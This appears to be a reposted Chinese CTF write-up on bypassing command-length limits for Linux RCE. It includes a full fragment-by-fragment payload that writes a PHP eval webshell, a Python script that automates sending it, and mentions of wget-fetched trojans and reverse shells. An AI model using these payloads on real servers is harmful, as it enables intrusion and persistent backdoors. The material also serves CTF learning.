首页 > 技术文章 > RCE篇之限制长度下的命令执行

pursue-security 2021-10-13 19:26 原文

转载自:https://arsenetang.github.io/2021/07/20/RCE篇之命令执行中的各种绕过/

绕过长度限制

linux 中的>符号和>>符号

(1)通过>来创建文件

(2)通过>将命令结果存入文件中

使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入

(3)>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容

linux中命令换行

在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行

比如一条命令cat flag可以如下表示

既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下

root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
 fl\
ag
root@kali:~# sh cmd
this is your flag

用这种方法可以绕过一些长度限制读文件内容

利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)

在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)

 

root@kali:~/example# touch a
root@kali:~/example# touch b
root@kali:~/example# touch c
root@kali:~/example# ls -t
c  b  a

我们来看看ls -t>ghtwf01有什么效果(开始不存在ghtwf01这个文件)

root@kali:~/example# ls -t>ghtwf01
root@kali:~/example# cat ghtwf01 
ghtwf01
c
b
a

这条命令先执行了创建ghtwf01文件然后将ls -t的执行结果写入ghtwf01文件

我们试试用这些方法来执行命令cat flag

root@kali:~/example# > "ag"
root@kali:~/example# > "fl\\"
root@kali:~/example# > "t \\"
root@kali:~/example# > "ca\\"
root@kali:~/example# ls -t
'ca\'  't \'  'fl\'   ag   flag
root@kali:~/example# ls -t > a
root@kali:~/example# sh a
a: 1: a: not found
this is your flag
a: 6: flag: not found

读取到了flag内容为this is your flag,无论这个文件里面有不有其它内容都能执行

总而言之文件构造绕过就是如下知识:

linux下可以用 1>a创建文件名为a的空文件
ls -t>test则会将目录按时间排序后写进test文件中
sh命令可以从一个文件中读取命令来执行

反弹shell命令比较长就可以用这种方式去绕过长度限制

如果服务器能连外网还可以使用命令wget 网址 -O shell.php去执行我们自己vps上面的木马文件

1、在linux中,星号*可以作为通配符使用,输入*后,linux会将该目录下第一个列出的文件名作为命令,剩下的的文件名当作参数

 像上面这个例子,执行*就相当于执行ls t,将ls作为命令,t作为参数;

有的时候当一个目录下有很多个文件的时候,可以在*后面加上字母作为限制,就可以限定为必须要带有该字母的文件才能被当作命令参数,它依旧是按照字母顺序,第一个为命令,后面的为参数,比如说下面这个例子,虽然说里面有很多文件,但我们用了*s,相当于就是带有s的第一个文件被作为了命令,后面带有s的文件作为了参数,所以说我们执行*s,相当于执行ls s

 2、linux中还有一个倒置命令rev,它可以将文件中的内容倒置,比如说下面这个例子,a文件中的内容本来是1234,然后我们用了rev倒置命令,就输出了4321,我们还可以将这个输出结果写入文件b

 当然,我们也可以按照前面的方法,将rev当作文件名,然后利用*v来执行它,只不过文件名也要为v

 

 3、linux中还有一个命令dir,这个命令和ls基本上是一样的,只不过用ls写入文件中时,每个文件名都是单独一行,它会自动换行,这会影响我们后面命令的执行,但dir就会全部写入一行中,并且会自动加空格,所以说我们就用dir代替ls

 实例

<?php

if(md5(md5($_GET["pass"]))=="42dc38109914179199efc5c18d47ee68")
{
    show_source("shell.php");
    echo "<br><br>年轻人,这个后门你把握不住,收手吧<br><br>";
    echo "<br>".$_SERVER['HTTP_USER_AGENT'];

    $you_file = '/var/www/html/wllm/'.md5("wllm" . $_SERVER['HTTP_USER_AGENT']);

    mkdir($you_file);
    chdir($you_file);

    if (isset($_GET['big_hacker_LTLT']) && strlen($_GET['big_hacker_LTLT']) <= 5) 
    {
        echo exec($_GET['big_hacker_LTLT']);

    } else if (isset($_GET['reset'])) 
    
    {
        @exec('/bin/rm -rf ' . $you_file);
    }
    
} 
?>

 

 思路分析

从代码中可知,这里有exec函数,是可以执行命令的,但由于有长度限制,所以说我们不能执行完整命令,只能试图利用linux下命令可以拆分的特点,将写入一句话木马的命令,拆分开来,作为文件名的形式先写进去,然后再写一个文件v,里面的内容是ls -th >f,然

后通过执行这个文件v,让前面的文件名按照时间顺序拼接起来,并写入到文件f中,那文件f中就是我们想要的写入一句话木马的命令了,最后执行这个文件f,就将木马成功写入进去了

具体过程

 1.我们首先来写写入一句话木马的命令,这里要注意的是,由于里面有< ?这些字符,所以说我们先将其base64编码后再写入,具体:

一句话:<?php eval($_POST[1]);
base编码后:PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
写入的命令:echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php
这里的空格要用${IFS}来代替,避免一句话中存在两个空格

 

 验证一下,发现没有问题

2、然后我们就要来拼接出命令ls -th >f了,我认为这儿是最复杂的,这里先解释一下为啥要拼接出这条命令,因为它ls默认排列文件的顺序是按照字母顺序的,如果把这个顺序写入文件中那肯定是杂乱无章的,也肯定不是我们想要的,所以说我们得想办法控制它的顺序,而唯一能控制的就是输入命令的时间先后顺序了,我们把想要放在后面的先输入,想要放在前面的后输入,然后利用ls -th一排,不就是我们想要的顺序了吗,这里我用kali做个演示,命令就是echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php

我们看到核心代码中它每次输入的命令不能超过五字符,那我就把这命令划分一下,五个字符一句,所有的符号前面都要加转义符\

>e\\
>ch\\
>o\\
>\$\\
>{\\
>IF\\
>S}\\
>PD\\
>9w\\
>a\\
>HA\\
>gZ\\
>XZ\\
>hb\\
>Cg\\     
>kX\\
>1B\\
>PU\\
>1R\\
>bM\\
>V0\\
>pO\\
>w=\\
>\=\\
>\|\\
>ba\\
>se\\
>64\\
>\ \\
>-d\\
>\>\\
>1.\\
>p\\
>hp

 但由于前面讲的,我们得按照时间得先后顺序,给它倒过来:

>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>\=\\
>w=\\
>pO\\
>V0\\
>bM\\
>1R\\
>PU\\
>1B\\
>kX\\
>Cg\\ 
>hb\\
>XZ\\
>gZ\\
>HA\\
>a\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\

 然后我们在kali中做测试,一个一个按顺序把它敲进去,太艰难了

 

 可以看到已经成功了,它已经按照时间顺序排序好了,那我们就把它执行的结果写入文件f中,然后利用sh来执行f,看能不能成功生成1.php

 3、拼接出命令ls -th >f,害本来第二步我就想讲这个的,结果写着写着就写偏了,前面我们的ls -t >f这命令是直接写的,实际上题目中我们是肯定不可能直接写的,同样需要把它写成文件名拼接起来写入文件中,然后执行它,这就需要我们前面铺垫的知识了,这里我先把构造结果写出来,然后再分析,如果哪一步没看懂可以去上面看对应的铺垫知识哦:

>dir
>f\>
>ht-
>sl
*>v  (等同于命令:dir "f>" "ht‐" "sl" > v )
>rev 
*v>0 前面的*v等同于命令rev v,相当于将v中的文件内容倒了回来,变回:ls -th >f
然后将倒转后的内容写入文件0中,文件0中的内容为:ls -th >f

 首先是用dir代替了ls,原因上面也讲了,然后我们这里用-th代替了-t是因为字母顺序的问题,因为我们这里是选择先倒着写然后再用rev命令把它正过来,字母h顺序正好在字母sf之间,所以说就可以,如果只有t的话它就会排在s的后面,顺序就乱了

4、前两步构造出来之后其实我们的核心步骤就已经完成了,第二步我们构造出来要执行的命令,第三步将要执行的命令写入到一个文件中,然后就是执行命令的过程了,先执行ls -th >f也就是sh 0,再执行文件f也就是sh f即可成功写入一句话,综合一下payload就是:

>dir
>f\>
>ht-
>sl
*>v
>rev 
*v>0
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>\=\\
>w=\\
>pO\\
>V0\\
>bM\\
>1R\\
>PU\\
>1B\\
>kX\\
>Cg\\ 
>hb\\
>XZ\\
>gZ\\
>HA\\
>a\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f

 5、Python脚本

前面也看到了,我们要是纯靠手把这些payload全部输进去还是有些麻烦的,所以说我们还是写个python脚本来代替我们发起这些请求:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
headers = {'User-Agent' : 'ccc'}
url = "http://xx.xxx.xx.xxx:10001/shell.php?pass=LTLT_666&big_hacker_LTLT={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
    for i in f:
        print("[*]" + url.format(i.strip()))
        requests.get(url.format(i.strip()),headers=headers)

 这里面我加了个UA头是因为核心代码中说了目录名就是/var/www/html/wllm/'.md5("wllm" . $_SERVER['HTTP_USER_AGENT'])那相当于我这个目录名就是/var/www/html/md5(wllmccc),也就是/var/www/html/wllm/09dfd2544882e2d4cfc851dcb1e78c4f,payload.txt中的内容就是上面那段payload,接下来开始跑脚本:

 跑完脚本去看这个文件是否已经生成,发现已经生成,那就大功告成了,执行命令和用蚁剑连接都是可以的哦

推荐阅读